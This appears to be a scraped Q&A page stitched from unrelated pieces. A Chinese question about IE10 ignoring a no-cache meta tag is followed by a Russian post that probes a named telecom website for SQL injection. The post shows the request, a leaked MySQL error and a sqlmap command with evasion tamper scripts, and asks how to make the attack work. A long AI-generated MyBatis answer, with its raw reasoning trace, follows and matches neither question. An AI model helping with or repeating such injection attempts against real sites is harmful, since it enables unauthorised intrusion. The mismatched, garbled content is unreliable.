"CACHE-CONTROL" content="NO-CACHE"

本文探讨了在不同操作系统及浏览器版本中,通过代码控制浏览器缓存的有效性问题。特别关注了在Windows XP IE8与Windows 8 IE10环境下,如何通过设置使浏览器始终从服务器获取最新内容。
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE"/>

现象:
上面这代码在xp的IE8.0下 好用。
在win8的IE10下不起作用,IE的后退键"<-"还是可以无条件返回前一页,不从服务器拿新的。
如果在win8的IE10使用了 F12开发选项Cash中的"Always Refresh from Server"则起作用。

1)请问IE10有什么不一样的么?如果要实现xp下IE8.0的效果,有什么方法么。
2)如何设置打开IE时,让F12的开发选项默认开启Cash中的"Always Refresh from Server".
репорт: GET /ua/site/domains.php/1' HTTP/1.1 Host: www.skylinetele.com Accept-Encoding: gzip, deflate, br Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: __utma=28549694.77068547.1755355595.1755355595.1755355595.1; __utmc=28549694; __utmz=28549694.1755355595.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmb=28549694.1.10.1755355595 Upgrade-Insecure-Requests: 1 Referer: https://www.skylinetele.com/ Sec-CH-UA: &quot;Chromium&quot;;v=&quot;138&quot;, &quot;Not;A=Brand&quot;;v=&quot;24&quot;, &quot;Google Chrome&quot;;v=&quot;138&quot; Sec-CH-UA-Platform: &quot;Windows&quot; Sec-CH-UA-Mobile: ?0 Content-Length: 0 а вот ответ : HTTP/1.1 200 OK Date: Sat, 16 Aug 2025 14:47:56 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.6.40-1~dotdeb+7.1 Vary: Accept-Encoding Content-Length: 7179 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;> <meta name=&quot;copyright&quot; content=&quot;© Skyline telecom 2012&quot;> <meta name=&quot;keywords&quot; content=&quot;интернет, телефония, хостинг, одесса, sip, сервера, передача данных&quot;> <title>Скайлайн Телеком</title> <link rel=&quot;shortcut icon&quot; href=&quot;https://skylinetele.com/favicon.ico&quot;> <link rel=&quot;stylesheet&quot; href=&quot;/styles.css&quot; type=&quot;text/css&quot;> <script src=&quot;/ckeditor/ckeditor.js&quot;></script> <script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js&quot;></script> <script type=&quot;text/javascript&quot;> $(document).ready(function(){ $('.spoiler_links').click(function(){ $(this).parent().children('div.spoiler_body').toggle('normal'); return false; }); }); </script> </head> <body bgcolor=#ffffff text=#000000 link=#000000 vlink=#000000 alink=#000000 leftmargin=15 topmargin=15 marginheight=15 marginwidth=15> <map name=&quot;hm&quot;> <area shape=&quot;rect&quot; coords=&quot;1,1,26,23&quot; href=&quot;https://www.skylinetele.com&quot; alt=&quot;Home&quot; title=&quot;На головну&quot;> <area shape=&quot;rect&quot; coords=&quot;32,1,58,23&quot; href=&quot;mailto:support@skylinetele.com&quot; alt=&quot;Mail&quot; title=&quot;Написати лист&quot;> </map> <table align=left border=0 cellspacing=0 cellpadding=3 width=970 height=100% bgcolor=#ffffff id=ten> <tr> <td colspan=2 align=left valign=center height=120> <div style=&quot;float: right;&quot;><b> <a href=&quot;https://skylinetele.com/ua&quot; title=&quot;ua&quot;><font color=#FF6600>ua</font></a> <font color=#FF6600>&nbsp|&nbsp</font> <a href=&quot;https://skylinetele.com/ru&quot; title=&quot;ru&quot;><font color=#FF6600>ru</font></a> &nbsp&nbsp&nbsp&nbsp <a href=&quot;https://stat.skylinetele.com&quot; title=&quot;Для зареєстрованих користувачів&quot;><font color=#FF6600>Вхід ↵</font></a></b>&nbsp</div> <div style=&quot;float: left;&quot;>&nbsp<img src=&quot;/img/hm.png&quot; border=&quot;0&quot; usemap=&quot;#hm&quot;></div> <div style=&quot;float: left; width: 100%;&quot;> <object type=&quot;application/x-shockwave-flash&quot; data=&quot;https://skylinetele.com/img/logo.swf&quot; width=&quot;400&quot; height=&quot;74&quot;> <param name=&quot;movie&quot; value=&quot;https://skylinetele.com/img/logo.swf&quot; /> <param name=&quot;menu&quot; value=&quot;false&quot; /> <img src=&quot;/img/st-logo-hor-eng-small.jpg&quot; width=&quot;400&quot; height=&quot;74&quot; alt=&quot;Скайлайн Телеком&quot; /> </object> </div> <div style=&quot;clear: both&quot;></div> </td> </tr> <tr> <td width=200 valign=top> <table bgcolor=&quot;#FF6600&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;width:100%&quot;> <tbody> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/&quot;>Новини</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/contract.html&quot;>Умови обслуговування</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/popolnenie.shtml&quot;>Як поповнити рахунок</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/services.shtml&quot;>Інтернет та передача даних</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;> <p><a href=&quot;/ua/site/ll_tarif.shtml&quot;>Виділені лінії</a><br /> <a href=&quot;/ua/site/transport.shtml&quot;>Передача даних</a><br /> <a href=&quot;/ua/site/wifi.shtml&quot;>Бездротовий зв'язок</a><br /> <a href=&quot;/ua/site/tarif.shtml&quot;>Додаткові послуги</a></p> </td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/tele1.shtml&quot;>Телефонія </a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;> <p><a href=&quot;/ua/site/virtual_attendant.shtml&quot;><span style=&quot;color:#F00E0E&quot;>Віртуальний секретар</span></a><br /> <a href=&quot;/ua/site/dostupniy-mir.shtml&quot;>Послуга &quot;Доступний Світ&quot;</a><br /> <a href=&quot;/ua/site/tele2.shtml&quot;>PRI-потік</a><br /> <a href=&quot;/ua/site/tele3.shtml&quot;>SIP</a><br /> <a href=&quot;/ua/site/tele4.shtml&quot;>Традиційна телефонія</a><br /> <a href=&quot;/ua/site/state.shtml&quot;>Як дізнатися про стан рахунку</a><br /> <!--<a href=&quot;/ua/site/popolnenie.shtml&quot;>Як поповнити рахунок</a><br />--> <a href=&quot;https://stat.skylinetele.com/bin/phcard&quot; target=&quot;_blank&quot;><strong>Поповнення рахунку</strong></a><br /> <a href=&quot;https://stat.skylinetele.com&quot; target=&quot;_blank&quot;>Вхід для абонентів</a><br /> <a href=&quot;https://skylinetele.com/ua/site/quality-of-telecommunication-services.shtml&quot;>Якість телекомунікаційних послуг</a></p> </td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;https://skylinetele.com/ua/site/hosting.shtml&quot;>Хостинг та доменні імена</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><a href=&quot;https://www.host24.ua/hosting&quot; target=&quot;_blank&quot;>Віртуальний хостинг</a><br /> <a href=&quot;https://www.host24.ua/colocation&quot; target=&quot;_blank&quot;>Розміщення серверів</a><br /> <a href=&quot;/ua/site/domains.php&quot;>Реєстрація доменів</a><br /> <a href=&quot;/ua/site/document.php&quot;>Документація</a></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/users.shtml&quot;>Користувачі</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><a href=&quot;https://stat.skylinetele.com&quot; target=&quot;_blank&quot;>Вхід для користувачів</a></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/help.shtml&quot;>Допомога</a></strong></td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;> <p><a href=&quot;/ua/site/faq.shtml&quot;>Відповіді на запитання</a><br /> <a href=&quot;/ua/site/cards.shtml&quot;>Картки SkyCard</a><br /> <a href=&quot;/ua/site/shops.shtml&quot;>Де придбати картки</a></p> </td> </tr> <tr> <td bgcolor=&quot;#ffffff&quot;><strong><a href=&quot;/ua/site/requisites.shtml&quot;>Контакти та реквізити</a></strong></td> </tr> </tbody> </table> <table width=&quot;100%&quot;> <tbody> <tr> <td align=&quot;center&quot; width=&quot;50%&quot;><img alt=&quot;Mastercard&quot; border=&quot;0&quot; hspace=&quot;5&quot; src=&quot;/img/mastercard.svg&quot; vspace=&quot;5&quot; width=&quot;50&quot; /></td> <td align=&quot;center&quot; width=&quot;50%&quot;><img alt=&quot;Visa&quot; border=&quot;0&quot; hspace=&quot;5&quot; src=&quot;/img/visa.svg&quot; vspace=&quot;5&quot; width=&quot;50&quot; /></td> </tr> </tbody> </table> <table style=&quot;width:100%&quot;> <tbody> <tr> <td colspan=&quot;2&quot;>ТОВ &quot;Компанія &quot;Скайлайн Телеком&quot;</td> </tr> <tr> <td colspan=&quot;2&quot;>E-mail: <a href=&quot;mailto:support@skylinetele.com&quot;>support@skylinetele.com</a></td> </tr> <tr> <td colspan=&quot;2&quot;>телефон: +380 48 7972115</td> </tr> <tr> <td colspan=&quot;2&quot;>факс: +380 48 7972115</td> </tr> </tbody> </table> <p> </p> </td> <td valign=top width=770> <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#FF6600 id=ten> Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 Я попробовал sqlmap : sqlmap -u &quot;https://www.skylinetele.com/ua/site/domains.php?url=*&quot; --random-agent --level=5 --risk=3 --tamper=space2comment,apostrophemask,between,randomcase,if2case,modsecurityversioned,space2randomblank,space2plus,versionedkeywords,charencode,equaltolike,charunicodeencode --dbms=mysql --technique=BEUST --time-sec=5 --delay=2 --batch -v 3 --ignore-code=403,404,400 --string=&quot;Скайлайн Телеком&quot; --code=301 --dbs --force-ssl --no-cast --skip=Host,Referer и вот итог : [20:31:07] [WARNING] URI parameter '#1*' does not seem to be injectable [20:31:07] [CRITICAL] all tested parameters do not appear to be injectable. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have chosen does not match exclusively True responses. Где я допустил ошибку?
最新发布
08-19
<think>首先,用户的问题是关于在MyBatis中处理或使用字符串'0'的问题。具体来说,他们问:&quot;MyBatis 中如何正确处理字符串类型的 '0'&quot;。 我需要回顾系统级指令: - 所有行内数学表达式必须使用$...$格式。 - 独立公式使用$$...$$并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 在回答中引用的段落末尾自然地添加引用标识,例如[^1]。 用户可见层指令: - 回答结构清晰,帮助用户逐步解决问题。 - 尽量保证回答真实可靠。 参考的引用: - 引用[1]: 讨论了MyBatis中的字符串问题,包括动态SQL、字符串拼接、类型处理器等。 - 引用[2]: 强调MyBatis的字符串处理机制,包括安全性和优化。 - 引用[3]: 具体提到MyBatis空字符串判断问题,特别是当数字类型与空字符串比较时的问题。 - 引用[4]: 展示了在MyBatis中使用if条件判断字符串类型是否一致。 用户的问题焦点是处理字符串'0'。在MyBatis中,'0'可能被误判为false或null,尤其是在条件判断中,因为MyBatis在OGNL表达式中可能将'0'视为false。 关键点: - 在MyBatis的if标签中,test属性使用OGNL表达式。 - OGNL会将字符串'0'解释为数字0,这可能导致问题。 - 例如,如果有一个字符串字段,值是'0',在if test=&quot;field != null and field != ''&quot;中,'0'可能被错误地排除,因为它不等于空字符串,但可能被误判为false。 根据引用[3],它提到当数字类型与空字符串比较时的问题,比如obj != '',如果obj是Long类型,空字符串会被转换为0。类似地,对于字符串'0',如果直接比较,可能出问题。 解决方案: 1. 在if条件中,正确处理字符串比较。引用[4]展示了使用toString()来比较字符串,如test=&quot;udt_license_plate != '1'.toString()&quot;。 2. 使用MyBatis的类型处理器来确保字符串值被正确处理。 3. 避免在非字符串类型上使用字符串比较。 结构化回答: - 逐步解释问题。 - 提供解决方案。 - 使用代码示例。 - 最后生成相关问题。 回答结构: 1. 介绍问题:解释在MyBatis中处理字符串'0'时可能遇到的问题。 2. 分析原因:简要说明MyBatis的OGNL表达式如何解释字符串'0'。 3. 解决方案: - 使用toString()方法进行比较。 - 确保正确使用类型处理器。 - 其他技巧。 4. 代码示例:展示正确的方式。 5. 总结。 6. 生成相关问题。 确保使用中文。 生成相关问题: - 基于主题,如MyBatis字符串处理、条件判断等。 引用标识: - 在回答中,如果引用参考内容,添加引用标识。例如,引用[3]提到数字类型比较问题,可以引用。 用户的问题直接针对字符串'0',所以焦点在条件判断中处理'0'。 最终回答框架: - 开头:直接回答问题。 - 步骤: a. 问题描述 b. 原因分析 c. 解决方案 d. 代码示例 - 结尾:总结。 - 相关问题。</think>### MyBatis 中正确处理字符串类型 '0' 的指南 在 MyBatis 中处理字符串类型的 '0' 时,常见问题是它可能被误判为 `false`、`null` 或空值,尤其是在动态 SQL 的条件判断中。这是因为 MyBatis 使用 OGNL(Object-Graph Navigation Language)解析表达式,而 OGNL 会将字符串 '0' 隐式转换为数字 0 或布尔值 `false`,导致逻辑错误。例如,在 `<if>` 标签中直接比较 `field == '0'` 可能失败。下面我将逐步解释原因并提供可靠解决方案,确保代码健壮性。 #### 1. **问题根源分析** - **OGNL 的隐式类型转换**:MyBatis 的动态 SQL 依赖 OGNL 表达式。当比较字符串 '0' 时,OGNL 会尝试将其转换为数字或布尔值: - 字符串 '0' 被转换为数字 0(例如,在 `field == 0` 的上下文中)。 - 在布尔上下文中,'0' 被视为 `false`(而非字符串)。 - 这会导致条件判断失效,例如 `<if test=&quot;status == '0'&quot;>` 可能错误地返回 `false`。 - **引用示例**:引用 [3] 指出,MyBatis 对非字符串类型进行空串判断时,会将空串转换为数字 0,类似地,字符串 '0' 也可能被误处理[^3]。 #### 2. **解决方案:正确比较字符串 '0'** 以下是针对字符串 '0' 的可靠处理方法,确保在动态 SQL 中准确判断。 **方法一:使用 `toString()` 显式转换** - 在 OGNL 表达式中,通过调用 `toString()` 强制将比较双方视为字符串,避免隐式转换。 - **代码示例**: ```xml <select id=&quot;selectUsers&quot; resultType=&quot;User&quot;> SELECT * FROM users WHERE 1=1 <if test=&quot;status != null and status.toString() == '0'.toString()&quot;> AND status = 'active' <!-- 当 status 为字符串 '0' 时执行 --> </if> </select> ``` - **说明**:`status.toString() == '0'.toString()` 确保双方都是字符串类型,防止 OGNL 将 '0' 解释为数字 0。 - **引用支持**:引用 [4] 展示了类似技巧,使用 `toString()` 处理字符串比较[^4]。 **方法二:利用 MyBatis 类型处理器** - 自定义类型处理器(TypeHandler)可精确控制字符串 '0' 的映射逻辑,适用于字段映射或参数传递。 - **代码示例**: ```java // 自定义类型处理器:将字符串 '0' 映射为特定值 public class ZeroStringHandler extends BaseTypeHandler<String> { @Override public void setNonNullParameter(PreparedStatement ps, int i, String parameter, JdbcType jdbcType) throws SQLException { if (&quot;0&quot;.equals(parameter)) { ps.setString(i, &quot;zero&quot;); // 将 '0' 存储为 'zero' } else { ps.setString(i, parameter); } } @Override public String getNullableResult(ResultSet rs, String columnName) throws SQLException { String value = rs.getString(columnName); return &quot;zero&quot;.equals(value) ? &quot;0&quot; : value; // 查询时将 'zero' 转回 '0' } } ``` - **配置**:在 MyBatis 配置文件中注册此处理器: ```xml <typeHandlers> <typeHandler handler=&quot;com.example.ZeroStringHandler&quot; javaType=&quot;String&quot;/> </typeHandlers> ``` - **优点**:适用于复杂场景,如数据库字段存储 '0' 但需特殊逻辑处理。 - **引用支持**:引用 [1] 强调自定义类型处理器是解决字符串问题的核心策略之一[^1]。 **方法三:避免空值混淆** - 结合 `<isNotNull>` 或 `<isNotEmpty>` 标签,确保 '0' 不被误判为空值。 - **代码示例**: ```xml <if test=&quot;status != null and status != ''&quot;> <choose> <when test=&quot;status.toString() == '0'.toString()&quot;> AND action = 'start' </when> <otherwise> AND action = 'stop' </otherwise> </choose> </if> ``` - **说明**:`<choose>` 结构增强可读性,`status != ''` 排除空字符串,但保留 '0'。 #### 3. **开发技巧与注意事项** - **技巧一:预防 SQL 注入** 使用 `#{}` 占位符(而非 `${}`)传递参数,确保字符串 '0' 安全处理: ```xml <if test=&quot;input != null&quot;> AND column = #{input} <!-- 安全:MyBatis 自动转义 --> </if> ``` - **引用支持**:引用 [2] 指出,MyBatis 的字符串处理机制内置安全性,但需正确使用占位符[^2]。 - **技巧二:测试边界条件** 在单元测试中覆盖字符串 '0' 的场景: ```java @Test public void testZeroString() { Map<String, Object> params = new HashMap<>(); params.put(&quot;status&quot;, &quot;0&quot;); // 明确传递字符串 '0' List<User> users = sqlSession.selectList(&quot;selectUsers&quot;, params); Assert.assertFalse(users.isEmpty()); // 验证逻辑正确 } ``` #### 4. **总结** 在 MyBatis 中处理字符串 '0' 时,核心是**避免 OGNL 的隐式类型转换**。优先使用 `toString()` 进行显式字符串比较,或通过自定义类型处理器精细控制映射逻辑。结合 `<isNotNull>` 等标签可提升健壮性,同时始终用 `#{}` 预防注入风险。这些方法确保 '0' 被正确识别为字符串,而非 `false` 或数字 0。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值